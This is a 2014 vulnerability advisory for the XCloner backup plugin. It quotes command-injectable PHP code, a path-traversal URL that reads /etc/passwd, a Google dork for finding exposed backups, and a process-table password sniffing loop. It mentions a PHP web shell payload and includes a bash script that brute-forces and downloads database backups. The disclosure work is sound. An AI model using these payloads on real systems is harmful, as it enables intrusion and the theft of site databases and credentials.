Advisory #: 110
Title: XCloner Backup Plugin v3.1.1 (Wordpress) v3.5.1 (Joomla!) Vulnerabilities
Author: Larry W. Cashdollar, @_larry0
Date: 2014-10-17
CVE-ID:[CVE-2014-8603][CVE-2014-8604][CVE-2014-8605][CVE-2014-8606][CVE-2014-8607]
CWE: CWE-20 Input Validation
Download Site: https://wordpress.org/plugins/xcloner-backup-and-restore/ http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665
Vendor: http://www.xcloner.com
Vendor Notified: 2014-10-17
Vendor Contact: Ovidiu Liuta, @thinkovi Acknowledged & no other response
Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/Xcloner-v3.1.1/
Description: XCloner is a Backup and Restore component designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.
Vulnerability:
There are multiple vulnerabilities I’ve discovered in this plugin, they are as follows. Arbitrary command execution: Clear text MySQL password exposure through html text box under configuration panel. Database backups exposed to local users due to open file permissions. Unauthenticated remote access to backup files via easily guessable file names. Authenticated remote file access. MySQL password exposed to process table: Arbitrary Command Execution Plugin allows arbitrary commands to be executed by an authenticated user. The user will require administrative access rights to backup the database. User input when specifying your own file name is not sanitized as well as various other input fields. All user configurable variables are vulnerable, these variables need to be sanitized before being passed to the exec() function for execution. $_CONFIG[tarpath] $exclude $_CONFIG['tarcompress'] $_CONFIG['filename'] $_CONFIG['exfile_tar'] $_CONFIG[sqldump] $_CONFIG['mysql_host'] $_CONFIG['mysql_pass'] $_CONFIG['mysql_user'] $database_name $sqlfile $filename Vulnerable code ./cloner.functions.php: 1672 exec($_CONFIG[tarpath] . " $exclude -c" . $_CONFIG['tarcompress'] . "vf $filename ./administrator/backups/index.html"); 1673 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/database-sql.sql"); 1674 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/htaccess.txt"); 1675 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/perm.txt"); 1695- if ($_REQUEST[cron_dbonly] != 1) { 1696: exec($_CONFIG[tarpath] . " $excl_cmd " . " -X " . $_CONFIG['exfile_tar'] . " -chv" . $_CONFIG['tarcompress'] . "f $filename ./"); 1697- } else { 1698- 1699- 1700: exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "cvf $filename ./administrator/backups/database-sql.sql"); 1701- 1702- if (is_array($databases_incl)) { 1703- foreach ($databases_incl as $database_name) 1704- if ($database_name != "") { 1705: exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/" . $database_name . "-sql.sql"); 1706- } 1707- } 1708- } -- 1873- { 1874- //$sizeInBytes = filesize($path); 1875- $sizeInBytes = sprintf("%u", filesize($path)); 1876: if ((!$sizeInBytes) and (function_exists("exec"))){ 1877- $command = "ls -l \"$path\" | cut -d \" \" -f 5"; 1878: $sizeInBytes = @exec($command); 1879- } 2010- if ($_CONFIG['sql_mem']) { 2011: exec($_CONFIG[sqldump] . " -h " . $_CONFIG['mysql_host'] . " -u " . $_CONFIG['mysql_user'] . " -p" . $_CONFIG['mysql_pass'] . " " . $dbname . " > " . $sqlfile . " $drop --allow-k eywords " . $ex_dump); 2012- 2013- if (get_filesize($sqlfile) > 0) 2014- $databaseResult = LM_DATABASE_BACKUP_COMPLETED . ' ( ' . getFileSizeText(get_filesize($sqlfile)) . ' )'; 2015- else 2016- $databaseResult = LM_MSG_BACK_14; 2017- 2018: exec("chmod 777 $sqlfile"); 2019- 2020- return $sqlfile; 2021- } ./classes/fileRecursion.php 339- public static function getFileSize($file){ 340- 341- $sizeInBytes = sprintf("%u", filesize($file)); 342: if ((!$sizeInBytes) and (function_exists("exec"))){ 343- $command = "ls -l \"$file\" | cut -d \" \" -f 5"; 344: $sizeInBytes = @exec($command); 345- } 346- 347- return $sizeInBytes; ./restore/XCloner.php 290- }else{ 291- if($ext == '.tgz') $compress = 'z'; 292- else $compress = ''; 293: shell_exec("tar -x".$compress."pf $file -C $_CONFIG[output_path]"); 294- } 295-} 1077- if($_REQUEST['use_mysqldump'] == 1){ 1078: echo shell_exec($_REQUEST['mysqldump_path']." -u ".$_REQUEST[mysql_username]." -p".$_REQUEST[mysql_pass]." -h ".$_REQUEST[mysql_server]." ".$_REQUEST[mysql_db]." < ".$sqlfile); 1079- return; 1080- } Clear Text MySQL Database Password The plugin also returns the MySQL clear text password via html text box back to the user in the configuration panel. A password should never be repeated back to you in clear text. The plugin will happily send this over a clear text connection. Remote Database Download & Local File Permissions The default recommend path for backup storage is /usr/share/wordpress/administrator/backups. An index.html file is created under this directory to prevent casual browsing however the file names are easily predictable. From the installation instructions: “XCloner is a tool that will help you manage your website backups, generate/restore/move so your website will be always secured! With XCloner you will be able to clone your site to any other location with just a few clicks. Don't forget to create the 'administrator/backups' directory in your Wordpress root and make it fully writeable.” The format of the filenames are: backup_year-month-day_month_24hour_minute_domainname-sql-OPTIONS.tar where OPTIONS could be either -sql-drop, -sql-nodrop or -nosql depending on options selected during time of backup. The domain name is set by the HTTP_HOST header from line 88 of cloner.config.php: 88: $_CONFIG['mosConfig_live_site']=$_SERVER['HTTP_HOST']; root@larry:/usr/share/wordpress/administrator/backups# ls -l total 129432 -rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:15 backup_2014-10-29_10-14_testsite-sql-nodrop.tar -rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:19 backup_2014-10-29_10-19_testsite-sql-nodrop.tar -rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:24 backup_2014-10-29_10-24_testsite-sql-nodrop.tar These file permissions also expose the contents of the databases to any local system users. File naming convention code is as follows: 1327 $domainname = $_CONFIG['mosConfig_live_site']; 1351 if ($_REQUEST['bname'] == "") { 1352 if ($backupDatabase == 1) { 1353 if ($_REQUEST['dbbackup_drop']) { 1354 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-drop' . $f_ext; 1355 } else { 1356 1357 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-nodrop' . $f_ext; 1358 } 1359 } else 1360 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-nosql' . $f_ext; 1361 } else { I’ve found a few vulnerable websites with the google dork: https://www.google.com/#q=inurl:+administrator%2Fbackups Remote File Access The user has to have administrative rights, but the backup downloader doesn’t check the path for ../. http://192.168.0.33/wp-admin/admin-ajax.php?action=json_return&page=xcloner_show&option=com_cloner&task=download&file=../../../../etc/passwd Will download /etc/passwd off the remote system. MySQL Database Password Exposed to Process Table lwc@wordpress:/etc/wordpress$ while (true); do ps -ef |grep [m]ysqldump; done www-data 16691 8889 0 09:27 ? 00:00:00 sh -c mysqldump --quote-names -h localhost -u root -pPASSWORDHERE wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql --allow-keywords www-data 16692 16691 0 09:27 ? 00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords www-data 16691 8889 0 09:27 ? 00:00:00 sh -c mysqldump --quote-names -h localhost -u root -ps3cur1ty wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql --allow-keywords www-data 16692 16691 0 09:27 ? 00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords
Export: JSON TEXT XML
Exploit Code:
  1. All input fields I believe are vulnerable, I’ve chosen the backup filename and a wget of sh.txt which is simply <?php passthru($_GET)?> into a writeable directory by www-data.
  2.  
  3. #!/bin/bash
  4. #Exploit to download XCloner v3.1.1 Database backups
  5. #Larry W. Cashdollar, @_larry0
  6. #XCloner recommends a backup storage path under the WP root directory
  7. #it uses a 0 size index.html file to block indexing.
  8. #we can try to brute force the filenames it creates.
  9. MONTH=10
  10. DAY=30
  11. #May need to set the DOMAIN to $1 the target depending on how WP is configured.
  12. DOMAIN=
  13. for y in `seq -w 1 24`; do
  14.         for x in `seq -w 1 59`; do
  15.                 CPATH="http://$1/administrator/backups/backup_2014-"$MONTH"-"$DAY"_"$y"-"$x"_$DOMAIN-sql-nodrop.tar";
  16.                  RESULT=`curl -s --head $CPATH|grep 200`;
  17.                 if [ -n "$RESULT" ]; then
  18.                  echo "[+] Location $CPATH Found";
  19.                  echo "[+] Received $RESULT";
  20.                  echo "Downloading......";
  21.                  wget $CPATH
  22.                 fi;
  23.         done
  24. done
  25.  
  26. lwc@wordpress:~$ bash exp.sh 192.168.0.26
  27. [+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar Found
  28. [+] Received HTTP/1.1 200 OK
  29. Downloading......
  30. --2014-10-30 13:02:51--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar
  31. Connecting to 192.168.0.26:80... connected.
  32. HTTP request sent, awaiting response... 200 OK
  33. Length: 44400640 (42M) [application/x-tar]
  34. Saving to: `backup_2014-10-30_06-27_-sql-nodrop.tar.1'
  35. 100%[========================================>] 44,400,640  56.9M/s   in 0.7s    
  36. 2014-10-30 13:02:52 (56.9 MB/s) - `backup_2014-10-30_06-27_-sql-nodrop.tar.1' saved [44400640/44400640]
  37. [+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar Found
  38. [+] Received HTTP/1.1 200 OK
  39. Downloading......
  40. --2014-10-30 13:02:52--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar
  41. Connecting to 192.168.0.26:80... connected.
  42. HTTP request sent, awaiting response... 200 OK
  43. Length: 44400640 (42M) [application/x-tar]
  44. Saving to: `backup_2014-10-30_06-33_-sql-nodrop.tar.1'
  45. 100%[========================================>] 44,400,640  64.1M/s   in 0.7s    
  46. 2014-10-30 13:02:53 (64.1 MB/s) - `backup_2014-10-30_06-33_-sql-nodrop.tar.1' saved [44400640/44400640]
  47.  
Screen Shots: [image03.png][image01.png][image02.png][image00.png]
Notes: 
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